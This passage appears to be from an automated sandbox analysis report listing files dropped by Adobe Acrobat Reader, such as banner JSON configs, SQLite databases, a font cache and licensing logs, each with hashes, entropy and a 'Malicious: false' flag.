SHA-512:	8A61A3BDC6456AE8C3E1E802044ACADBB94BD0C11283BA2A8AE20A4F13F36FB501584094C71A3B045F74B80D405D7A0FCE665E23CA387EA90447FFF6D4F8FB20
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95c54cf6-dcb9-4ec2-84b8-cbd8dac81b8e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737223289122,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.28242263702484
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOTksiJHNWWsGiIPEeOF0YlgEeoAvJfQ1rPeUkwRe9:YvXKXVsqHNRsdTeOFBVGY16Ukee9
MD5:	AC54A95263955713D4704D917AEF1046
SHA1:	558AAB58A99FA8E5DFC2AE55FC08CE09D954CA53
SHA-256:	36446A9CE9AE6E25235E0FAF6B4E2ABA55BE9719A14E310E076164B5CE8CD6BA
SHA-512:	CDB3E4E57B3585C041DD42D0C6E39DFD15DC35683ED5406B530AC812AC8E3FA5CEDB731F2DA5BD52E5ED62CB474B2FFF75A4DDAC7C2FE5972491FD65E9946DE8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95c54cf6-dcb9-4ec2-84b8-cbd8dac81b8e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737223289122,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.298848747942798
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOTksiJHNWWsGiIPEeOF0YlgEeoAvJfFldPeUkwRe9:YvXKXVsqHNRsdTeOFBVGz8Ukee9
MD5:	67F29191B2D5D11DF6C824F8854A66B9
SHA1:	6A32EA988EE1E3048724A69DBA156EF01567673D
SHA-256:	9AFCB73FB5F6BEDA7A2B1341A8A83AFD9AE34B9EAF0916559AC4E60CC88DEF14
SHA-512:	F7AA7BABB9ED77D3BE6F8A393A85E7A97BD326A6715B3E95DE48FE3EB4804B5457F9282A272379460FA150AC9DA385B6D005A537736ECB082E2FC2D9C7A0B70F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95c54cf6-dcb9-4ec2-84b8-cbd8dac81b8e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737223289122,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.307045574714623
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOTksiJHNWWsGiIPEeOF0YlgEeoAvJfzdPeUkwRe9:YvXKXVsqHNRsdTeOFBVGb8Ukee9
MD5:	AFC2E0502BB4B192F87B38C85754D310
SHA1:	103BB5A59BA2CB18FCC6960C6C3D1CC7EBC5A5A2
SHA-256:	F4755FD65F42D8D4F1EA6D90DA15B51C11CD461E57766CF3BC21D011B89C5F75
SHA-512:	035714E50F27A27D43808BAB58798EEE00EEA8D900E6F26CEBA4A8C1128F3FE8BE0E3C284A05301FBE2892F3E62785EDB2059147B5A839990FD92339DD561660
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95c54cf6-dcb9-4ec2-84b8-cbd8dac81b8e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737223289122,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.287139761430615
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOTksiJHNWWsGiIPEeOF0YlgEeoAvJfYdPeUkwRe9:YvXKXVsqHNRsdTeOFBVGg8Ukee9
MD5:	2A7CB4F440089B64E3E9E6EB022B8DF8
SHA1:	D7EB5B6EBB1CDEFF71EE938FAC1F81AF184CC203
SHA-256:	E8354ED36334195E187ADE7A8E759BC3C755CCAD5959BEB8613BBAD2C950F768
SHA-512:	EDCFF337BC11806D4AF97FDA729C5D3ECFE48CCDB64D4825055304761A1D674F446B0610141CE875F97B93BDE83F98C51E9F56FC695D4D962550EC5519306D82
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95c54cf6-dcb9-4ec2-84b8-cbd8dac81b8e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737223289122,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2732627125302605
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOTksiJHNWWsGiIPEeOF0YlgEeoAvJf+dPeUkwRe9:YvXKXVsqHNRsdTeOFBVG28Ukee9
MD5:	32053EFE6767AF442CC9FB9795A425EC
SHA1:	E498D3F79C77BE1C91C2C8C122BF41D926516A3F
SHA-256:	8F0A37D3F61C3DA736AC57C4D78C9FDC110BE715346F315457C429BB2E2C1C73
SHA-512:	8D5782B650EFDF0AD2B42E43BC458DBA795C52E4F2A76CD05AFA5C4C92329DCA6187F8E1C508FCC1D30490B38BA73204019A09CBFC876CDBB80D9BF50A2951F6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95c54cf6-dcb9-4ec2-84b8-cbd8dac81b8e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737223289122,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.270775245623857
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOTksiJHNWWsGiIPEeOF0YlgEeoAvJfbPtdPeUkwRe9:YvXKXVsqHNRsdTeOFBVGDV8Ukee9
MD5:	E9479B01EA019C6E6C0DA58E6C0DB3E0
SHA1:	2EEA9AE89BDE22AF693F717BFDB2C8239257222A
SHA-256:	2010EB31AFA7BCE45A0304DC10E267F1021F0DEC7AEFEE60E28C2D6F34BE24E2
SHA-512:	DBA51BE6AEE2F457685C5659502805B3D2676CC6B87321E40CF4FACA31A0D958143FC1D4BADB3DA3CFF1562A900F69EC8006449B5663AF8838563CF65A31174D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95c54cf6-dcb9-4ec2-84b8-cbd8dac81b8e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737223289122,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.274934312742369
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOTksiJHNWWsGiIPEeOF0YlgEeoAvJf21rPeUkwRe9:YvXKXVsqHNRsdTeOFBVG+16Ukee9
MD5:	719221E39DD9866406FE3513E53139CE
SHA1:	5400467B419309A30CACC6C27C7DF3789822395E
SHA-256:	05454837C0B46A73D843381D9710E0697BDADBB7224233EC8FF82744724DAA0F
SHA-512:	6E03011964DEA97CCA067016D80F3A663189C6ED47F26DD8FB2193C43CB1BEA4EE6153795293ED2EAEF95A586A50D21921C8547B71C466AE8E9A52D67FC7D9EE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95c54cf6-dcb9-4ec2-84b8-cbd8dac81b8e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737223289122,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.662150693550697
Encrypted:	false
SSDEEP:	24:Yv6XVDmeO+amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS5:YvRe1BgkDMUJUAh8cvM5
MD5:	FDDB3BB5C00B8050A65172B9C8B63B27
SHA1:	0FE34C638504D574E5602DA34183DE162A833EF0
SHA-256:	35DCD04D1B035ED813FB450BB638DEF873D5026D1B8EFE938CCFFB75003DC959
SHA-512:	3EF3021917A3FE6835B4A678E77E54FBA43A656777208D269EFA2031194D86D671C412BDB92EB2E46DC2FBED7E2BC86F988C3098694DD332C0CD8BDFB142AEA1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95c54cf6-dcb9-4ec2-84b8-cbd8dac81b8e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737223289122,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.25000009256076
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOTksiJHNWWsGiIPEeOF0YlgEeoAvJfshHHrPeUkwRe9:YvXKXVsqHNRsdTeOFBVGUUUkee9
MD5:	BE603D18C01FAEB7297E1210AFDF1934
SHA1:	35E7BB895627A74BD69600621F8C4B93AFFB9DE0
SHA-256:	5C502803E3700604510C8532D2DF240C381B0D6B00A5FF994FB60F5E6B8D908F
SHA-512:	49AF3FC01C0143F0C04484BC5CC6ABFF0014D8B766D793A7F6DC162F4799866F170424A698E4DF3F65F965B4A331F68C10036C83C822A1DBD81A1FAA13ED1733
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95c54cf6-dcb9-4ec2-84b8-cbd8dac81b8e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737223289122,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.270467136194622
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOTksiJHNWWsGiIPEeOF0YlgEeoAvJTqgFCrPeUkwRe9:YvXKXVsqHNRsdTeOFBVGTq16Ukee9
MD5:	DDC4496F1EA361805201CB70146CBFB1
SHA1:	98CE25566E893B905A0F1DF6928D7E7A1634C6C5
SHA-256:	7C14F737A7E3660B36EFC858D38B97EDE183D9F45E2AE0304B8A6D3BF2754CD4
SHA-512:	13AE52A80F7FFB88A00DFB1110B64D302C0F629DCF139AC9028481322CAA1225C62FAFD5097AE2247782DD4A71D8A696207FC20AE3050B7568F04C986863AE8E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95c54cf6-dcb9-4ec2-84b8-cbd8dac81b8e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737223289122,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.137192914665798
Encrypted:	false
SSDEEP:	24:YgFE2a5nay/0PA8rn5DjTEBmEKMyr/j0+j0SJv9fYYy2lTbz/2LSJBCYQqMpynBR:Y3gD+Eb0gXfcEz/JEqqynzFqtD+h9H1
MD5:	4037BB23371AABFF13FC98021D00C3E9
SHA1:	E06E7C157DAFF52CB347C06BDC861B6168CA95AB
SHA-256:	B88902E2CCB914FDE03AC9DA79E5433F84E118912C46D70C0F0094D00B7489C1
SHA-512:	8AD3C936C34905F6C0BE99F0C2E172F8A3D3821B323AC46FD2F3729D933CA713D5287E2B9FEA2D9ED12DCC8310C26D3454287E365FAD5B4FABFCDFAF6A330294
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"9bf0cd91bc75c5123e2fb4065c8764ed","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1737044158000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"9078e885d8d079933a5cb50b2870cfcb","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1737044158000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"d3f32beab69fca8628d205b9f89aa34d","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1737044158000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"72ab0be8ad50288ef7da3529d222154b","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1737044158000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"9e476af49783024c0e90209c1d863c64","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1737044158000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"44c48e76ab834d0f3a61de3146304961","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4544396246042341
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2ds0xlmN:lNVmsw3SHtbDbPe0K3+fDZdQ
MD5:	9A98B507193B0FECE3CD50B6ECB6183D
SHA1:	F2BC8A6C4C52E110C0679AFAB5F2DB144CB4CCB3
SHA-256:	CF4CABA07B11503EA03199E52469D9EE9932790241E8001FF0F59831E606D153
SHA-512:	F7F3087DD6DFCFA3779F7E3B0F899C34D09A3F2366727BF85D969A424E5900AA5ABFADBE4254485D282597C1AE4AD5214197A427E2582B793C714789805554DB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9594487044394056
Encrypted:	false
SSDEEP:	48:7MyrvrBd6dHtbGIbPe0K3+fDy2ds0EaqFl2GL7msj:7L3SHtbDbPe0K3+fDZdhKVmsj
MD5:	6B417B171F7FB6951E528F760211C21C
SHA1:	D5265594C74FD0BB15CCBD8D5D93171A3695927C
SHA-256:	1435995906D36D1ED8DFCEDE7CF117EB95CC77954C0D59D8AC102C41E665A018
SHA-512:	EE3DBC53D1928CB13D7995F6A12D2A55E124DB8B809EB46A715CD6FE5912F4109B24E27237BBBE676AB79CCE083CF5258642BAE8122AAAEA2CA642CAF674EE63
Malicious:	false
Preview:	.... .c......Q........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgCWixf1a8wtX9NxQHD51dp7faYyu:6a6TZ44ADECWix5s9Nxs9aK
MD5:	1100B3A2F3EC706B22EFF4661E0A26AB
SHA1:	5AF1B4666C1805CDF5BBE8FCC64FB2D8B023EF33
SHA-256:	916DB508C0C498160C83103C59D21FA57DEF068A086A7D3181C4087142BA7350
SHA-512:	33B6BF2891D7925F3ECDD59FB1B427DA02C86FBF9E9386314D010528DB1619FB548750F035AFE09204E4C067D13B775D166D9383798271D07627EE0D20EAC79D
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Temp\MSIad98f.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.504899586627176
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8eebClEbqwCH:Qw946cPbiOxDlbYnuRKhsDbql
MD5:	4B9190C3CE2DEC682F4C9BEDB22C02E2
SHA1:	5D508CAC1EC4870FE6823B6B7F9AF95FE677AAC2
SHA-256:	C357B240836B5F5830D130A7D4522A221A0A10DDDA41571B34E0431565241FCC
SHA-512:	B305E1E9F4F43FEF7AD782CD2BBE8FD9655DC7D5A042CB0FBE7C53BD0DFBE5CD3729C9D9F4C5E5E869DCA66069336ACCA4903BC5596BC0FB6318E352E85C1A5F
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.6./.0.1./.2.0.2.5. . .1.1.:.1.6.:.0.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-16 11-15-53-778.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3556763386725885
Encrypted:	false
SSDEEP:	384:YVz1SdrPlK3ctYSmtO7RcZLY5VKqpEbbevgmiS6KdcQPAPMRQGMFMRYygKpzzdY2:YGTz
MD5:	EF957DBAD4922112BD93C28CCB9EB35F
SHA1:	970267D57CE291116D40E9F2C39B88C7DCD6022F
SHA-256:	BCF06C6EC467E526C2351175F8B61116910EBDA3E5984644C2021FF6796FD840
SHA-512:	9A5D7F3C111804099CE1D1769E02162615EF7BB3B99317E1635AB41A0A9C36D0111ED793FA1D063A870BEDD59DA1F5171FBD237A06317596DE0D9E9AAFC852BE
Malicious:	false
Preview:	SessionID=1246cb2a-27e4-49f0-9e46-7542dfb225cb.1737044153799 Timestamp=2025-01-16T11:15:53:799-0500 ThreadID=7780 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=1246cb2a-27e4-49f0-9e46-7542dfb225cb.1737044153799 Timestamp=2025-01-16T11:15:53:801-0500 ThreadID=7780 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=1246cb2a-27e4-49f0-9e46-7542dfb225cb.1737044153799 Timestamp=2025-01-16T11:15:53:801-0500 ThreadID=7780 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=1246cb2a-27e4-49f0-9e46-7542dfb225cb.1737044153799 Timestamp=2025-01-16T11:15:53:801-0500 ThreadID=7780 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=1246cb2a-27e4-49f0-9e46-7542dfb225cb.1737044153799 Timestamp=2025-01-16T11:15:53:801-0500 ThreadID=7780 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.416239637580074
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRd:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRj
MD5:	F8742E635B8BAE8F580C26C2FCCD18E7
SHA1:	1215658606A4B159CEC121D31ABEC22B74B4326A
SHA-256:	1F11EB85DD8855D291611CA4384938E815090BE4E3D0E9C3A65950048243A522
SHA-512:	8B0E0B5A09007AA81A11F2DC2714047EE7553E9FFE1DFF2D9262A4F1F85F7C5F78E8D63F778BA331A620F998CF90C7D77D093238D03C573D5D91A6E78198684A
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\4ce8e504-eac1-4ac6-8a83-2d7899edcfb5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
